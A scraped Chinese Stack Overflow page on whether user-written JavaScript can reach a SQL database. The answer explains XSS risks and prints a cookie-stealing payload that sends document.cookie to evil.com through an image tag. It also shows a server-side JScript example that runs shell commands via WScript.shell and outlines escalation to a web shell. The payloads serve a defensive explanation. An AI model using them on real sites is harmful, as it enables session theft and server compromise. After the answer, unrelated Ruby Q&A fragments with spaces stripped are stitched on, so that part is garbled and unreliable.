我有一个网站,我允许用户在该网站上编辑网站的前端。 用户只能访问编辑器,而不能访问其托管的服务器。
用户要求我也允许 javascript。 这意味着用户可以在前端创建自己的脚本。
我担心的是用户可能会使用它来做恶意的事情。恐怕如果用户了解得足够多,他可能会搞砸网站。
我的问题: - 假设用户拥有 SQL DB 的连接字符串,他能否设法在该服务器上执行查询?通常这应该是 NO,因为 javascript 是客户端,对吗?
我找到了以下片段:
var connection = new ActiveXObject("ADODB.Connection") ;
var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";
connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
document.write(rs.fields(1));
rs.movenext;
}
rs.close;
connection.close;
假设我的连接字符串看起来像
Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True
我试图让脚本运行,但幸运的是它显示了一个空白页面。但这是因为我可能做错了什么吗?或者它确实是因为 javascript 是客户端的并且不允许做那种事情?
其他问题: - 我允许他在前端使用 javascript 的其他风险示例有哪些?如果 javascript 确实是一种完全客户端语言,这意味着他不能做任何其他有风险的事情,对吗?
最佳答案
JavaScript 在客户端运行,它不会直接影响服务器的安全。但是,它可能会对您的站点访问者、用户和管理员构成威胁。 JavaScript 攻击称为 XSS attacks并且可能有各种含义:
The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
您问题中的代码似乎使用了 ActiveXObject创建数据库连接。如果攻击者拥有数据库凭据(连接字符串)并且 SQL 服务器端口已打开,那么是的,他们可以访问数据库,但此时他们可以使用任何 SQL 客户端。
但是,可以在 IIS 服务器上运行 JScript(Microsoft 的 JavaScript 版本)。如果代码放置在 .asp 页面上具有 runat="server" 属性的脚本标记中,那么它将在服务器上执行并且可以到达数据库。例如,这段代码:
<html>
<script language="javascript" runat="server">
function exploit() {
var shell = new ActiveXObject("WScript.shell");
var cmd = shell.Exec("ipconfig");
Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
}
</script>
<% exploit() %>
</html>
将显示服务器的 IP 配置,如果它是在 .asp 或 .aspx 页面上执行的。 但如果攻击者可以编辑 .asp/.aspx 页面,那就太晚了。
假设他们无法编辑事件服务器页面,并且他们没有凭据或对 SQL 服务器的访问权限,那么他们应该无法直接使用 JavaScript 访问您的数据库。然而,他们可以使用 XSS 攻击来提升他们的特权。
一个可能的攻击场景:
攻击者编写一个脚本来收集用户 cookie,并将它们发送到他们的服务器。
var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');
通过这个简单的代码,攻击者可以记录任何访问托管此恶意脚本的页面的用户的 cookie,并使用它们登录到他们的帐户或使用他们的权限执行其他操作。
如果管理员访问此页面,攻击者可以使用他们的 cookie 以管理员身份访问控制面板。 许多 CMS(包括 WordPress 和 Joomla)允许管理员在服务器上编写或修改 PHP 代码,因此攻击者可能会上传一个 web shell。他们甚至可以通过从管理员的浏览器发出 XHR 请求来自动化整个过程。
如果他们成功上传了一个 web shell,他们就可以执行命令和代码、读/写文件和访问 SQL 服务器。所以现在他们可以使用与您的用户帐户相同的凭据和 IP 访问数据库。当然,可能有一些机制(AV、限制等)可以防止这种情况发生,但坚定的攻击者可以找到绕过它们的方法。
总而言之,您永远不应该运行不受信任的代码。在您的网站上允许不受信任的 JavaScript 代码会产生非常糟糕的后果。即使攻击者无法访问您的数据库或破坏您的站点,他们仍然可以伤害您的访问者。您可以访问beef看看 XSS 攻击有多危险。
关于javascript - 如果最终用户可以编写自己的 Javascript,他可以接触 SQL DB 吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52541938/
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta
我想用ruby编写一个小的命令行实用程序并将其作为gem分发。我知道安装后,Guard、Sass和Thor等某些gem可以从命令行自行运行。为了让gem像二进制文件一样可用,我需要在我的gemspec中指定什么。 最佳答案 Gem::Specification.newdo|s|...s.executable='name_of_executable'...endhttp://docs.rubygems.org/read/chapter/20 关于ruby-在Ruby中编写命令行实用程序
我希望我的UserPrice模型的属性在它们为空或不验证数值时默认为0。这些属性是tax_rate、shipping_cost和price。classCreateUserPrices8,:scale=>2t.decimal:tax_rate,:precision=>8,:scale=>2t.decimal:shipping_cost,:precision=>8,:scale=>2endendend起初,我将所有3列的:default=>0放在表格中,但我不想要这样,因为它已经填充了字段,我想使用占位符。这是我的UserPrice模型:classUserPrice回答before_val
查看Ruby的CSV库的文档,我非常确定这是可能且简单的。我只需要使用Ruby删除CSV文件的前三列,但我没有成功运行它。 最佳答案 csv_table=CSV.read(file_path_in,:headers=>true)csv_table.delete("header_name")csv_table.to_csv#=>ThenewCSVinstringformat检查CSV::Table文档:http://ruby-doc.org/stdlib-1.9.2/libdoc/csv/rdoc/CSV/Table.html
我发现ActiveRecord::Base.transaction在复杂方法中非常有效。我想知道是否可以在如下事务中从AWSS3上传/删除文件:S3Object.transactiondo#writeintofiles#raiseanexceptionend引发异常后,每个操作都应在S3上回滚。S3Object这可能吗?? 最佳答案 虽然S3API具有批量删除功能,但它不支持事务,因为每个删除操作都可以独立于其他操作成功/失败。该API不提供任何批量上传功能(通过PUT或POST),因此每个上传操作都是通过一个独立的API调用完成的
如果您尝试在Ruby中的nil对象上调用方法,则会出现NoMethodError异常并显示消息:"undefinedmethod‘...’fornil:NilClass"然而,有一个tryRails中的方法,如果它被发送到一个nil对象,它只返回nil:require'rubygems'require'active_support/all'nil.try(:nonexisting_method)#noNoMethodErrorexceptionanymore那么try如何在内部工作以防止该异常? 最佳答案 像Ruby中的所有其他对象
我将应用程序升级到Rails4,一切正常。我可以登录并转到我的编辑页面。也更新了观点。使用标准View时,用户会更新。但是当我添加例如字段:name时,它不会在表单中更新。使用devise3.1.1和gem'protected_attributes'我需要在设备或数据库上运行某种更新命令吗?我也搜索过这个地方,找到了许多不同的解决方案,但没有一个会更新我的用户字段。我没有添加任何自定义字段。 最佳答案 如果您想允许额外的参数,您可以在ApplicationController中使用beforefilter,因为Rails4将参数
我有一个这样的哈希数组:[{:foo=>2,:date=>Sat,01Sep2014},{:foo2=>2,:date=>Sat,02Sep2014},{:foo3=>3,:date=>Sat,01Sep2014},{:foo4=>4,:date=>Sat,03Sep2014},{:foo5=>5,:date=>Sat,02Sep2014}]如果:date相同,我想合并哈希值。我对上面数组的期望是:[{:foo=>2,:foo3=>3,:date=>Sat,01Sep2014},{:foo2=>2,:foo5=>5:date=>Sat,02Sep2014},{:foo4=>4,:dat
我正在阅读SandiMetz的POODR,并且遇到了一个我不太了解的编码原则。这是代码:classBicycleattr_reader:size,:chain,:tire_sizedefinitialize(args={})@size=args[:size]||1@chain=args[:chain]||2@tire_size=args[:tire_size]||3post_initialize(args)endendclassMountainBike此代码将为其各自的属性输出1,2,3,4,5。我不明白的是查找方法。当一辆山地自行车被实例化时,因为它没有自己的initialize方法